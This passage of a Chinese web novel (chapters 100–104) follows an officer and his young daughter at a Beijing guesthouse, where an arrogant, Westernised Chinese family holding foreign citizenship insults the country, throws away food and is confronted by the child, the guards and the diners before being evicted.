“实不相瞒,鹰国安利普教授率小型访问团来访,洽谈两国国防合作,希望我们购买其**技术。恰巧您回京,**希望您能到场。”
安利普教授是世界著名的火箭与空气动力学专家,也是钱教授在鹰国留学时的导师。后来因钱教授才华出众,独立完成多项尖端项目,两人逐渐发展为亦师亦友的合作关系。
当年钱教授学成之后,一心想要回到祖国,却被鹰国强行扣留,多亏了安利普教授多方斡旋,暗中相助,二人也结下了深厚情谊。
但在国家立场上,双方皆有不可退让的底线。安利普希望钱教授能够留在鹰国效力,而钱教授怀揣赤子之心,誓要回国报效,为此甘愿放弃鹰国开出的优渥条件。两人因此爆发了激烈的争吵,最终不欢而散。
没想到多年后,安利普竟亲率团队来访。表面说是出售技术,实则是另一种技术讹诈——既要收取高昂的费用,又不会教授核心技术,倘若大夏不肯妥协,鹰国很可能会采取极端手段。
钱教授对此心知肚明,只是没料到时机如此巧合,刚一回京就遇上了安利普。同时他也清楚,论技术、论专业,国内没有人比他更适合出面。
他当即点头:“好,先去西华厅。”
因为这个插曲,梁哲也没心思带甜甜去逛街了,打算先找个招待所安顿下来。
赵志峰道:“梁团长,已经安排好了西华厅附近的招待所,那里条件还不错。这是我的联系方式,有任何需要随时打电话。另外……”他递过来一个信封,“总部特批的,给孩子在京城的花销。”
梁哲打开一看,里面是一沓全国粮票和现金,数额不小。他想推辞,赵志峰摆摆手:“这是**让我给孩子的。你们在前线辛苦了,回到后方,该让孩子们过点好日子。”
梁哲推辞不过,只好收下,众人纷纷登车,郑宏直奔地质研究院,钱教授和宋大壮的车则驶向西华厅方向。
第100章 京城第一餐!刚吃小炒肉,就来嚣张一家子
梁哲抱着甜甜坐进第三辆车,两名警卫战士坐在前后排。车子驶出机场,开上通往城区的公路。
甜甜的脸紧贴着车窗,眼睛一眨不眨地看着外面闪过的景象:越来越多的房屋,越来越宽的道路,自行车汇成的河流,公交车像彩色积木一样排列……
“爸爸,首都好大呀。”她小声说,生怕声音大了会惊扰了这座城市。
“是啊,好大。”梁哲搂紧女儿。
车子经过广场时,甜甜突然直起身,指着窗外:“爸爸你看!红旗!好多好多红旗!”
清晨的阳光洒在广场上,国旗在风中飘扬,英雄纪念碑巍然矗立。街道上人流如织,摩肩擦踵,虽然衣着简朴,但都充满了蓬勃的朝气。
梁哲感到眼眶发热。他想告诉女儿,那旗帜下有妻子曾经憧憬的理想,更有无数先辈与今人用热血与汗水铸就的未来。
但他最终只是将女儿搂得更紧,轻声说道:“甜甜,这就是咱们的首都。等你长大了,也要为这个国家出一份力。”
小姑娘用力点头,小手在玻璃上轻轻抚摸,仿佛想触碰到这座城市的脉搏。
车在西华厅附近的招待所停下。这是一栋雅致的三层小楼,门口有军人站岗。大堂内装饰古朴典雅,据说是由民国大军阀的私宅改建而成,因为条件优越,偶尔也会有外国政要在此下榻。
他们被安排在二楼的一间客房。屋内陈设着古色古香的家具,床上铺着崭新雪白的床单,与沙漠中条件艰苦的营房帐篷相比,简直是天壤之别。
警卫战士们放下行李,对梁哲敬了个军礼,梁哲回礼。
“梁团,你们先休息。有事可以按铃,走廊和楼下都有便衣警戒,可以确保你们的安全。”
“谢谢同志们。”
“不客气。”
战士们退出房间,偌大的空间里只剩下父女二人。
甜甜像只刚出笼的小鸟,这儿瞅瞅,那儿看看,一会儿摸摸柔软的床单,一会儿看着八仙桌上的青瓷花瓶,一会儿又踮着脚尖打量墙上的字画,小姑娘从来没见过这么好的大房子,每一样东西,都让她觉得新鲜又有趣。
“爸爸,咱们什么时候去动物园呀?”甜甜跑了一圈,又噔噔噔跑回,熟练地爬到爸爸腿上,眼巴巴地望着他。
“明天吧,明天一早就去。”梁哲抱起女儿,心中却隐隐有些担忧。外国访问团此刻正在京城,不知会给刚刚起步的**事业带来什么样的阻力。
“今天先休息,中午爸爸带你去楼下吃好吃的。”
“好啊爸爸,甜甜想吃肉肉!”
“好,吃肉。不过京城好吃的可多着呢,炸酱面,糖人儿,烤鸭……”
“甜甜都想吃!都想吃!”
看着女儿雀跃的模样,梁哲也不禁露出笑容,他抱着甜甜走到窗边,望向窗外青砖灰瓦的胡同和绿树成荫的街道,思绪却飘回遥远的戈壁……
那里有呼啸的风,有彻夜不熄的灯火,有一个个怀揣理想,以身许国的面容……
无论身在何方,守护这一方安宁与孩子们的纯真笑容,便是他们这群人抛家舍业、默默奉献的全部意义。
而此刻的西华厅里,一场特殊的会面刚刚开始。钱教授走进会客厅时,那个白发苍苍的老者正背对着大门,看着墙上悬挂的巨幅地图。
地图上,山川河流气势磅礴,恢宏壮丽,沉睡已久的东方巨龙已然苏醒,一个古老的文明正在悄悄崛起。
听到脚步声,老者转过身。四目相对,两人都沉默了几秒。
“钱,”安利普教授先开口,英语带着浓重的波士顿口音,“好久不见。”
钱教授走上前,伸出双手:“安利普老师,欢迎您。”
两双世界科学巨匠的手,跨越过时空和海峡,再次紧紧握在了一起。
招待所中午用餐时间是十一点至一点。彼时全国上下正同心协力搞建设,加上物资紧张,所有餐饮标准也相应做了调整。
肉类、蛋类实行限券供应,且只有午餐才会有,还不包含在餐费内,需要客人额外自理。
主食多是粗粮馒头,稍好些的,能喝上一碗白米粥,只是米粒也很稀疏。
这招待所的餐费不算低,但能住进来的,要么是公职人员,要么是有特殊身份的,家境优渥,对价格不太在意。
梁哲这才明白,难怪接待他的赵志峰塞给他那么多现金和粮票——在这安保一流、条件上乘的招待所,花费自然少不了。
梁哲牵着甜甜,先兑换了两张餐券,又摸出二十块钱,额外点了盘小炒肉。这在物资匮乏的大西北城镇,已是难得一见的荤腥。至于这二十块钱……搁当时,足够买二十多斤猪肉了!
在不是女儿在戈壁滩上太久没吃过像样的肉菜,他是真舍不得这么铺张
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。
小炒肉一端出来,浓郁的肉香瞬间飘了满室。甜甜使劲耸着小鼻子,恨不得把整张小脸都埋进盘子里。
“好香啊爸爸……”小姑娘馋得口水都快流下来了。
“别急,宝贝,马上就好。”
梁哲端着盘子寻了处空桌坐下,递给女儿一个粗粮馒头。甜甜根本顾不上馒头,迫不及待地夹起肉片塞进嘴里。
一边吃,一边还不忘笨拙地夹起一块肉递给梁哲:“爸爸也吃。”
梁哲心头一暖,只轻轻咬了一小口,便把剩下的肉夹回女儿碗里,转而拿起筷子夹了根土豆丝,“爸爸不爱吃肉,爱吃土豆丝,甜甜多吃点。”
“爸爸骗人!”甜甜立刻嘟起小嘴,不满地**,“妈妈以前也这样,总把好吃的留给甜甜。”
一句话,瞬间戳中了梁哲的软肋,心头一阵发酸。天下父母,大抵都是如此,把最好的一切都默默留给孩子,这份爱,无声无息,却重逾千斤。
他轻轻摸了摸女儿的头,声音有些发哑:“甜甜长大了,知道心疼爸爸妈妈了,都是妈妈教得好。”
想起故去的妻子,梁哲的眼角悄悄湿润了。若是妻子还在,若是她也能坐在这里,吃上一口这香喷喷的小炒肉,哪怕让他付出再多,他也心甘情愿。
“爸爸不哭,吃肉肉。”甜甜格外懂事,伸出软乎乎的小手,轻轻擦去梁哲眼角的泪水,又夹起一块最大的肉,小心翼翼地送到他嘴里,“爸爸吃,吃了就不难过了。”
梁哲抱着女儿柔软的小身子,只觉得整个心都被萌化了,所有的委屈和思念,都在这一刻被女儿的乖巧冲淡了几分。
可这份温馨没持续多久,就被一道稚嫩却傲慢的童音打破了。一个小男孩站在餐饮区门前,一只手捂着鼻子,用流利的英语抱怨道:“爹地,什么怪味道?好难闻!”
能住进这招待所的人,大多在社会上有一定地位,不少人都听得懂英语。闻言,众人纷纷转头,将目光投向门口。
那里站着一家三口,装束与在场所有人格格不入。
男人穿着深色西服,打着领结,头发梳得油光锃亮,一副精英派头。女人戴着宽檐礼帽,穿着深灰色条纹连衣裙,脚下踩着一双细高跟鞋,姿态倨傲。
两人中间牵着一个六七岁的小男孩,背带裤配小衬衫,也系着黑色领结,眉眼间满是骄纵。
第101章 侮辱祖国?崇洋家庭惹众怒,为大局众人暂忍
这三人明明长着一张华夏人的脸,举手投足间却处处模仿洋人,尤其是这小男孩,张口闭口都是英语,在全是华夏人的餐饮区里,显得格外突兀。
招待所虽然也常接待外国来宾,但大多是真正的洋人,这般西式打扮、张口就说英语的华人,倒是少见。
更过分的是,小男孩直言用餐区有怪味,这对招待所餐饮部来说,无疑是被当众扇了一记耳光。
餐饮部的经理连忙快步迎了出来,赔笑道:“同志,我是这里的经理,姓黄,有什么能帮到您吗?”
华人男子并没有申斥儿子的无礼,反而傲慢地抬了抬下巴,用英语说道:“我们是外国来宾,你这里用餐环境太乱,给我们安排一个单独的包间。”
黄经理和招待所的服务员,平日里接待外宾多了,英语都很流利,但那是对真正的洋人。此刻面对着这张熟悉的华夏脸孔,听着他故作姿态的英语,黄经理只觉得心里像吞了只苍蝇,膈应得慌。
可他终究有着良好的职业素养,依旧笑着解释:“不好意思同志,咱们这里只有两个包间,都已经被提前预定了。您看,三位能不能稍等片刻?”
什么?”男人瞬间皱起眉头,语气里满是不耐烦,“你居然让我等?你知道我是什么身份吗?”
梁哲身后传来窃窃私语,有人压低声音吐槽:“长着一张黄皮肤,偏偏学鹰国佬说洋话,真是丢人现眼。”
“可不是嘛,崇洋**到骨子里了,呸!”
黄经理还没来得及回应,男人身边的女人已经尖着嗓子开了口。
“我先生可是加州理工的教授,乔治·杨!享受鹰国科研、军事双重津贴,这次是作为安利普教授的特别顾问兼翻译来的!要是惹恼了我先生,他就让安利普教授给你们的合作条款加价码,到时候有你们后悔的!”
这话一出,议论声更响了:“还以为是什么大人物,原来就是个翻译啊。”
“瞧他们狂的那样,怕是连自己的祖宗是谁都忘了吧!”
周围的嘲讽声此起彼伏,众人最是瞧不起这种奴颜婢膝之辈,不少人毫不掩饰地投去鄙夷的白眼。
可杨乔治却毫不在意,反而摸着儿子的头,用英语炫耀道:“亨利,看见了吗?要是没有钱,没有身份,你就只能永远和这些人一样,一辈子窝在这个垃圾国家,闻这种低劣的空气。”
“垃圾国家”四个字,瞬间惹恼了在场的众人,梁哲眉心一拧,眼底闪过一抹凌厉的怒容!
他可以不计较杨乔治的傲慢自大,却绝不能容忍他侮辱自己的祖国!
有人比他动作更快,已经霍然起身,看样子就要厉声斥责杨乔治。但他身旁的人却飞快地拽了拽他的袖子,压低声音劝道:“同志,别冲动!这人已经拿到了鹰国国籍,要是咱们动手,他闹到鹰国使馆去,对两国谈判不利,咱们承担不起这个责任!”
众人心里都清楚,眼下鹰国正和大夏洽谈合作,这杨乔治分明就是抓住了这一点,才敢如此嚣张。
他算准了,众人碍于大局,不敢拿他怎么样。
那人闻言,迟疑了片刻,终究还是缓缓坐了回去。梁哲也深深吸了口气,强迫自己冷静下来。小不忍则乱大谋,为了家国大事,为了不影响钱教授他们的谈判,他只能忍。
见众人敢怒不敢言,杨乔治愈发得意,对着黄经理厉声催促:“到底能不能腾出包间?快点!别耽误我们用餐!”
“实在对不起,乔治先生,确实没有空包间了,您只能稍等。”黄经理强压着怒火,刻意放缓了语气。
他已经懒得再称呼对方“同志”,这样的人,不配。
“爹地,我饿了……”大人能等,六岁的亨利却忍不了,捂着肚子哭闹起来。
他的母亲玛丽·秦,不耐烦地白了儿子一眼,转头对杨乔治说:“算了,先将就吃一顿吧,晚餐咱们去街上吃烤鸭。”
“妈咪,我要吃烤鸭!现在就要吃烤鸭!”亨利立刻哭闹着起哄。
“说了先将就一顿,你不是饿了吗?”玛丽没好气地呵斥了一句,转身去兑换餐券,她扫了一眼水牌上的菜品,故意装模作样地抚了抚鬓角,用英语说道,“你们的菜做得太油腻,吃了不健康。我出二十美金,给我炒两盘青菜炒肉,记住,要
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少油少盐。”
二十美金,在当时的外汇兑换比例下,相当于二百多元,算得上是一笔巨款。众人心里都清楚,他们这是故意摆阔,炫耀自己的“能耐”,可也不得不承认,对方确实财大气粗。
玛丽见服务员脸上露出吃惊的神色,心里的虚荣心愈发膨胀,嘴角勾起一抹轻蔑的笑,小声嘀咕:“哼,乡巴佬,没见过世面。”
她说着,抽出两张美钞,极其傲慢地随手一扔,像扔废纸一样,然后牵着亨利,大摇大摆地走到餐饮区正中间的餐桌旁坐下,那姿态,仿佛自己是高高在上的贵族。
服务员看着飘落的美钞,气得浑身发抖,正要发作,黄经理连忙向她使了个眼色,悄声道:“算了,别和这种小人一般见识。二十美金记到账上,终归是咱们赚了,犯不着跟钱过不去。”
服务员咬了咬牙,还是勉强压下怒火,转身去后厨下单。
杨乔治一家三口坐下后,更是毫无素质可言,杨乔治翘着二郎腿,时不时抱怨环境差、卫生脏;玛丽则拿出小镜子补妆,对桌上的餐具挑三拣四;亨利更是无法无天,几次把鞋子踩在旁边的凳子上,还用叉子敲打着餐盘,吵闹不休。
服务员上前轻声劝阻,杨乔治却直接甩出几张美金,用英语狂傲地叫嚣:“不就是几张破椅子?给你钱,再买十张、二十张,随便我儿子踩!”
这一幕,看得在场众人无不义愤填膺。有几人实在忍无可忍,干脆推开碗筷,愤而离席;还有人拿着餐具,匆匆搬到了远离他们的角落,眼不见心不烦。
梁哲数次深呼吸,强迫自己冷静,他无数次想冲上去,暴揍这一家三口一顿,可一想到钱教授的谈判,想到可能给国家带来的麻烦,他就只能强行压制住冲动。
甜甜坐在一旁,敏锐地察觉到了父亲的不对劲,她伸出小手,悄悄牵住梁哲的手掌,小声问:“爸爸,你是不是在生气呀?”
梁哲勉强挤出一个笑容,轻轻摸了摸女儿的头:“没事的,甜甜快吃,吃完爸爸领你出去玩。”他是真的一分钟也不想再在这里多待,多看这一家三口一眼,都觉得恶心。
第102章 军娃护粮!炸鸡腿闹剧!众人怒怼崇洋狗
甜甜似懂非懂地歪着小脑袋,目光偷偷瞄了杨乔治一家几眼。她听不懂英语,不知道他们在说什么,但小姑娘察言观色的本事极强,光看他们那傲慢无礼的态度,就知道他们没说什么好话。
“爸爸,那个叔叔和阿姨,没礼貌。”
梁哲心想,这哪里是没礼貌,分明是数祖忘典,是大夏民族的败类!
可他不想在这个场合和甜甜讲这些,女儿的心灵太纯净,这些垃圾,不配污染她的眼睛和心灵。
“宝贝,别管他们,好好吃饭,吃完咱们就走。”
“好。”甜甜乖巧地点点头,却没再动筷子,只是低着头,小口咬着手里的粗粮馒头。
“甜甜,怎么不吃肉了?”梁哲看着盘子里还剩下大半的小炒肉,有些疑惑。甜甜才吃了几口,不该这么快就饱了。
甜甜抬起头,水灵灵的大眼睛眨了眨,一脸认真地说:“甜甜已经吃过肉肉了,这些留着,等回去给刘爷爷、钱爷爷还有白爷爷他们吃。”
梁哲的心瞬间被女儿的话融化了,眼眶又一次湿润了。小姑娘还不知道,他们已经离基地千里之遥,做好的肉根本带不回去,可她的心里,还始终惦记着基地里的长辈。
他把女儿搂进怀里,柔声道:“宝贝真懂事。这里离刘爷爷他们太远了,这些肉带不回去,但是爸爸答应你,等咱们回去的时候,一定买很多很多肉,给爷爷们和叔叔阿姨们吃。”
“真的吗?”甜甜开心地露出笑容,眼睛亮晶晶的,“太好了!爷爷和叔叔阿姨们也要吃肉肉,肉肉最好吃了!”
“嗯,好吃,所以甜甜要把剩下的肉都吃光,不能浪费,乖。”梁哲又给女儿夹了一块肉,看着小姑娘大口大口吃得香甜,心里的烦躁和怒火,才算消散了一些。
可不远处的亨利却突然任性地拍着桌子,用英语大声嘶吼:“饿啊!我好饿!快点上菜!你们这群废物,动作怎么这么慢!”
餐饮区里的幼童本就不多,一个是玉雪可爱、乖巧懂事的甜甜,不但穿着干净整齐,还主动给父亲夹肉,奶声奶气不吵不闹;另一个却是像混世魔王一样的亨利,任性跋扈,不断捣乱,还满口洋文,举止粗俗。
两下一对比,众人更是对亨利厌恶透顶,对甜甜则愈发喜爱。
再加上梁哲身着笔挺的军装,身姿挺拔,一看就是保家卫国的军人,更增加了大家的好感。
有不少人吃完饭,路过梁哲父女的餐桌时,都会对着甜甜露出温柔的笑容,还有人会轻轻摸摸她的小脑袋,悄悄塞给她几颗奶糖、一枚鸡蛋。
梁哲几次想要推辞,众人都摆手笑道:“同志,你们保家卫国,大家都很佩服你。这是一点心意,千万别嫌弃。”
盛情难却,梁哲只能收下这些礼物,但他格外谨慎,没有立刻给甜甜吃。
自从上次发生敌特分子渗透事件后,他对任何陌生人给的东西,都不敢有丝毫大意。他把礼物收好,打算见到钱教授或郑宏教授后,让他们帮忙化验一下,再确认吃不吃。
甜甜更是乖巧得很,爸爸说过,现在坏人很多,甜甜一定要小心,不能再上当了。
恰在这时,门前人影一闪,有人站在餐饮区门口向里面张望。
很快,他便看见了梁哲,立刻快速走了过来。
“您是梁哲梁团长?”他走到梁哲身边,悄声道:“我是保卫局的,有您的电话。”
说着,取出将证件向前一递。
梁哲看了下证件,转头和甜甜道:“宝贝,你乖乖地坐着,不要乱走,爸爸接个电话就回。”他早已看出,餐饮区的东西两个角落,各有一名身着便装的警卫,无声地保护着他们的安全。
因此,他能放心地让甜甜独自留在这里。
果然,他刚一起身,那两名警卫就状若无意地挪动身体,坐得离甜甜更近了些。
梁哲走后,甜甜自己端着小碗,很快就把菜和馒头全都吃光了。她摸着圆滚滚的小肚子,满足地舔了舔嘴唇,觉得从来没有吃得这么香。
肉肉真好吃啊,要是能天天吃到就好了。
她有点遗憾地叹了口气。
就在这时,“砰”的一声闷响,亨利不知为什么突然发起脾气,将桌上的粗粮馒头狠狠扔到了地上。
“这是什么鬼东西!硬邦邦的,根本没法吃!”
他太生气了,一不
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小心,竟然忘了自己平日里刻意使用的英语,脱口而出就是中文。坐在他身边的杨乔治和玛丽,连忙放下筷子哄他:“宝贝别生气,妈妈马上让人给你换面包,好不好?”
“是啊,让他们给你换白面馒头吃。”杨乔治也连忙附和。
“我不嘛我不嘛!”亨利哭闹着蹬着脚,“我不要馒头,也不要面包,我要吃炸鸡腿!要吃炸鸡腿!”
“经理——!!!”杨乔治转头怒喝:“你们怎么搞的?这东西也能端上来给人吃?还不快给我换成炸鸡腿!”
黄经理无奈上前,摊了摊手“非常抱歉,我们招待所目前没有炸鸡腿供应。”
“没有炸鸡腿?你们是做什么吃的?”杨乔治大言不惭,“马上去给我宰只鸡!”
“我说你这人讲不讲道理!”一位老者实在听不下去,“现在条件就是这样,有什么吃什么,凑合一下得了!”
“就是!想吃炸鸡腿,回你们鹰国去啊,来这里作什么妖!”
“就你这素质,还能当教授?我看鹰国真是没人了!”
忍耐多时的众人,终于忍不住吐槽起来,指责声此起彼伏。可杨乔治却毫不在意,冷着脸用英语对儿子说:“亨利,看见了吗?这些人压根没见过好东西,就把这种垃圾当宝贝,真是可怜又可笑。”
说完,他又转向黄经理,大声吼道:“喂,我说你们,没有炸鸡腿就给我退钱!赶紧的!”
连喊两遍,黄经理才铁青着脸色,强压怒火说道:“不好意思,本店确实没有炸鸡腿。您要是不想吃,想退钱,悉听尊便。”
“那就退钱!”杨乔治愤怒地一拍桌子,站起身,对着妻子和儿子说,“太过分了!我们出去,去街上买烤鸭,吃最好的!”
玛丽也从鼻子里哼了一声,满脸轻蔑地扫了一眼周围的人,伸手拉起亨利:“走,宝贝,咱们去吃好的。这种垃圾食物,也只配给这些垃圾人吃。”
一家三口旁若无人地站起身,就要大摇大摆地离开。可就在这时,一个小小的身影,突然快步冲到他们面前,张开双臂,脆生生地大喝一声:“你们,把馒头捡起来!不许浪费粮食!”
第103章 高光时刻!叛国者被奶团子教做人
杨乔治下意识地转头望去,一开始还没看到人,直到视线往下移,才看清站在自己面前的,是一个还没有桌子高的小奶团子。
小姑娘穿着干净的小裙子,模样玉雪可爱,可脸上却带着与年龄不符的严肃,一双乌溜溜的大眼睛,生气地瞪着他们。
“你在和我说话?”杨乔治皱着眉,依然说着英文。
甜甜才不管他说的是什么奇怪的“鸟语”,小手指着地上的馒头,大声道:“把馒头捡起来!不许浪费粮食!”
那认真的小表情引得杨乔治夫妻发出一阵嘲笑,玛丽双手抱胸,傲慢地道:“谁家没教养的野孩子,跑来这里撒野!有没有大人管你?”
玛丽说的是英语,甜甜听不懂,但周围不少听得懂英语的人,瞬间就怒了。大家本来还想着多一事不如少一事,不想和他们一般见识,可连一个三岁的小姑娘都能挺身而出,他们这些大人,更没有退缩的道理!
好几个人立刻站起身,厉声呵斥:“喂!你说什么?快向这个小姑娘道歉!”
一直坐在不远处、暗中保护梁哲父女的两名警卫,也悄悄站起身,目光凌厉地盯着杨乔治一家三口,随时准备动手。
杨乔治仗着自己的鹰国国籍,压根没把众人放在眼里,不耐烦地用英语骂了一句“滚开”,就要绕过甜甜往前走。
可甜甜半步不退,见他要绕开,就立刻侧身,再次拦住他的去路,“不许走!你还没捡馒头呢!”
“哈,真是可笑!”杨乔治嗤笑一声,“你一个小娃娃,凭什么管我?也不看看自己是什么身份!”
他嘴上这么说,可无论怎么绕,甜甜都像个小跟屁虫一样,死死拦在他面前,那股不服输的执拗,让杨乔治心里泛起一丝烦躁。他一个成年人,要是当众推倒一个三岁的小奶团子,确实有失身份,传出去也不好看。
转念一想,杨乔治冲儿子亨利使了个眼色。
他就不信,一个小孩子,还治不了另一个小孩子。
亨利立刻会意。他在鹰国的学校里,经常看到高年级的孩子欺负低年级的孩子,尤其是华人孩子,他以前都吓得躲在一边。可这次回到大夏,所有人都对他父母毕恭毕敬,他心底的优越感和仗势欺人的性子,也彻底暴露出来。
亨利跨上两步,伸着小手指着甜甜,用英语傲慢地呵斥:“你,快快走开!不然我就欺负你了!”
甜甜听不懂英语,但也猜到他是在撵自己,顿时更生气了,仰着小脸大声反驳:
“馒头是粮食,是农民伯伯很辛苦种的,你扔掉粮食,就是浪费。浪费就是坏孩子!”
“扔馒头怎么了?”亨利见她不害怕,也急了,下意识换成了中文,“这是什么破馒头,硬邦邦的,难吃**。也就你们大夏人,才会把这种垃圾当宝贝!”
“你不大夏人,为什么会说大夏的话?”甜甜歪着小脑袋,一脸疑惑地反问。他明明长得和大家一样,却说自己不是大夏人,真奇怪。
亨利一愣,下意识地看向自己的父母。他当然知道,自己的父母,本来就是大夏人。他在鹰国的时候,周围的鹰国孩子,经常骂他是“大夏的猪”,他心里一直很自卑。
直到去年年底,父母拿到了鹰国国籍,一家三口都欣喜若狂。他们终于可以摆脱“大夏人”的身份,再也不用被人欺负、被人嘲笑了。以后再有人骂他,他就可以理直气壮地反驳:“我不是大夏人,我是鹰国人!”
想到这里,亨利立刻转过头,对着甜甜大声嚷嚷,“我不是大夏人!我是鹰国人!我才不要做大夏人!”
周围的众人,听到这话,更是气得咬牙切齿。这种卖祖求荣、背叛自己血脉的行为,是所有人都无法容忍的。众人纷纷指指点点,眼神里满是鄙夷和唾弃。
甜甜才不管他是哪里人,“不管你是什么人,都不许浪费粮食,妈妈说过,浪费粮食的人,以后再也没有饭吃,会永远饿肚肚。”
“你妈妈教你的都是错的。”亨利嗤之以鼻,一脸得意地说,“我妈妈说过,我们鹰国人,就要吃最好的,要吃炸鸡腿、炸薯条,这种破馒头,我们才不吃!”
“不许你说我妈妈!”甜甜瞬间被激怒了!世界上怎么会有这么坏的小孩!妈妈是天底下最好的妈妈,谁下不许说她的坏话。
“就说就说!你妈妈就是没教好你,才让你这个小鬼来多管闲事!”亨利
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做着鬼脸,故意激怒甜甜。
话音未落,甜甜再也忍不住了,像个小炮仗一样,猛地冲了上去,用尽全身的力气,一把将亨利推倒在地!
亨利虽然比甜甜高一些,但压根没有防备,还在跺着脚叫嚣,被甜甜这么一推,瞬间失去了平衡,一屁股摔在了地上,屁股磕得生疼。
他愣了足足半分钟,才反应过来自己被一个三岁的小娃娃推倒了!这简直太丢脸了!紧接着,他哇的一声,放声大哭起来,一边哭一边蹬着脚,对着杨乔治和玛丽大喊:“爹地!妈咪!她欺负我!她推我!你们快打她!”
杨乔治和玛丽一看儿子被推倒,顿时脸色铁青。自己的儿子,就算被鹰国人欺负,他们也只能忍气吞声,可现在,竟然被一个三岁的华夏小娃娃推倒了,这面子上怎么挂得住?
“你个小畜生!”杨乔治再也顾不上维持自己“高贵”的鹰国人身份,脱口而出用中文骂了一句,撸起袖子,就朝着甜甜的脸上扇了过去!
他要好好教训这个不知天高地厚的小娃娃,挽回自己的面子!
可他的手,刚伸到一半,两道身影就瞬间冲了过来——正是暗中保护甜甜的两名警卫。
他们早已忍耐多时,见杨乔治敢动手欺负这么小的孩子,再也忍不住了,二话不说,就死死架住了他的手腕,力道大得几乎要捏碎他的骨头。
“住手!”
杨乔治被捏得哇哇大叫,疼得脸色惨白,却还在嘴硬:“啊啊啊!**了!你们敢动手!我是华侨!我有鹰国国籍!我要去鹰国使馆告你们!要让你们付出代价!”
玛丽也尖叫起来,抱着亨利,一边哭一边喊:“报警!我要报警!你们军人**了!你们大夏人太野蛮了!”
“你们流着大夏的血,却背叛自己的国家,背叛自己的祖宗,简直是我们大夏人的耻辱!”
“赶紧滚回鹰国,给鹰国佬当奴才吧!别在这里污染我们的眼睛!”
“希望你爹妈不知道你今天干的这些丢人事!”
周围的众人,再也按捺不住怒火,纷纷开口骂了起来。民怨像被点燃的油锅,在餐饮区里沸腾起来,指责声、怒骂声,此起彼伏。
第104章 自讨苦吃!中校霸气护女,嚣张夫妇被撵走
杨乔治一开始还想用英语和中文交杂着回骂,可骂着骂着,他发现,越来越多的人站了起来,有人甚至撸起了袖子,一副要动手的样子。他这才被众人的气势所慑,渐渐没了底气,再也不敢像之前那么嚣张了。
玛丽见丈夫讨不到便宜,也不敢再尖叫了,悄悄扯了扯亨利的袖子。亨利哭了半天,见大家都在骂自己的父母,也吓得不敢再哭,怯生生地躲在玛丽怀里,小声啜泣。
“你们……你们等着!我一定会去安利普先生那里告你们!”杨乔治色厉内荏地丢下一句狠话,试图找回一点面子。
就在这时,餐饮区和客房部的经理,分开围观的人群,快步走到杨乔治面前。
“杨先生。”客房部经理开口,语气冰冷,“很抱歉地通知您,您的入住资格已经被取消,请您尽快收拾行李,在下午一点之前,搬离我们的招待所。”
“什么?!”杨乔治像被踩中了尾巴的猫,瞬间跳了起来,满脸不敢置信,“凭什么不让我入住?!我可是华侨!我有鹰国国籍!你们不能这么对我!”
这一次,他彻底慌了,脱口而出的全是中文——他再也顾不上炫耀自己的英语了。
“很简单。”黄经理冷冷地说,“我们的招待所,不接待瞧不起大夏、侮辱大夏的人。另外,你的行为,已经严重侵犯了我国国民的尊严,我们会正式向鹰国使馆提出**。”
“你……你胡说!”杨乔治瞬间慌了。他可不是土生土长的鹰国人,鹰国使馆根本不会像保护本国公民那样保护他。
何况他的鹰国国籍拿到还不到一年,若是在这一年里出现什么变故,鹰国随时可以收回他的国籍证书。
他本来是在鹰国受够了民族歧视,好不容易回到祖国大陆,想摆摆架子,找回一点优越感,让众人高看他一眼,给他们方方面面开绿灯。可他万万没想到,自己一时冲动,竟然玩大了,对方竟然敢直接把他们撵出去。
这件事要是传出去,他和妻子的脸就丢尽了,更重要的是,安利普教授会怎么看他?
他可是好不容易才争取到这个翻译名额,本以为能全程陪伴安利普,趁机攀附,可谁知道,安利普却把他们打发回了招待所,说要单独见一位“特殊的朋友”。
杨乔治心里清楚,能让眼高于顶的安利普教授称为“朋友”的,绝对是身份不一般的人,他隐隐猜到,那个人或许就是钱教授——
那个在鹰国声名远扬、甚至被加州理工永久铭记的大夏科学家。
他承认,自己心里充满了嫉妒。他自认为学业和专业都很优秀,可为什么就是得不到安利普的重视?就连他任教的加州理工,也从来没有把他的名字挂在荣誉墙上。
因为在他之前,已经有一位大夏人的照片和名字,被永久留在了那里。
鹰国绝不会允许第二个大夏人享有这份荣誉。
而他的成就,也确实在方方面面都逊色了一大截。
甚至他那份所谓的“鹰国科研、军事双重津贴”,也不是靠自己的能力争取来的,而是钱教授的校友和朋友,看在他是大夏人的面子上,帮他申请的。
这些事,像一根刺,一直扎在他心里,让他莫名烦躁,也才有了今天这场无理取闹。
眼看自己骑虎难下,杨乔治只能压下心底的怒火和慌乱,勉强用中文说道:“你们可以**,但我现在没时间和你们纠缠。我要去见安利普教授,你们别忘了,他还在和你们国家谈判,要是耽误了谈判,这个责任,你们承担得起吗?”
说着,他向玛丽使了个眼色,示意她赶紧带着儿子走。
玛丽也知道,眼下再僵持下去,只会更丢脸,连忙拉起亨利,就要往外走。可亨利还没看出父母的窘迫,依旧跺着脚哭闹:“我饿!爸爸,我还没吃鸡腿呢!我要吃炸鸡腿!”
“闭嘴!一会就让你吃!”杨乔治气急败坏地大骂。他现在才发现,自己这个儿
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子,简直就是个草包,都什么时候了,还惦记着炸鸡腿!
一家三口匆匆朝着门口走去,可刚走两步,一道高大挺拔的身影,就稳稳地拦在了他们面前。
这一次,不再是那个还没桌子高的小奶团子,而是一名威风凛凛的军人。
他穿着笔挺的军装,风纪扣扣得严严实实,头上戴着鲜红的红星军帽,肩上扛着中校的军衔。他就那样静静地站着,周身散发着一股冰冷的威严,气场强大,让人不寒而栗。
杨乔治之前在餐饮区瞥过梁哲一眼,只当他是个普通军人,没放在心上。可现在,看着梁哲冰冷的眼神,他才忽然想起,这个人,是那个小娃娃的爸爸!
他心里咯噔一下,暗叫不好。刚才太嚣张,竟然把这事给忘了。
可转念一想,军人的纪律最严格,他们更不敢轻易对“外宾”动手。自己现在是鹰国国籍,只要他敢闹,就会有把柄落在自己手里。
想到这里,杨乔治又找回了一丝底气,高傲地抬起下巴,对着梁哲呵斥:“你干吗?闪开!别挡我的路!”
梁哲面沉如水,嘴唇微动,冷冷地吐出两个字:“道歉。”
“啊?”杨乔治以为自己听错了,愣了一下,“你说什么?”
“道歉!”梁哲一字一顿,声音不大,却带着不容置疑的威严。
“跟……跟谁道歉?”杨乔治下意识地反问,后背已经冒出了冷汗。
他不得不承认,这位中校沉下来的气场,实在太骇人了。
梁哲抬手,指了指不远处被警卫抱在怀里的甜甜,语气冰冷:“向她道歉。”
说完,他又缓缓转头,目光扫过在场的所有人,声音愈发铿锵有力,“向所有大夏人,道歉!”
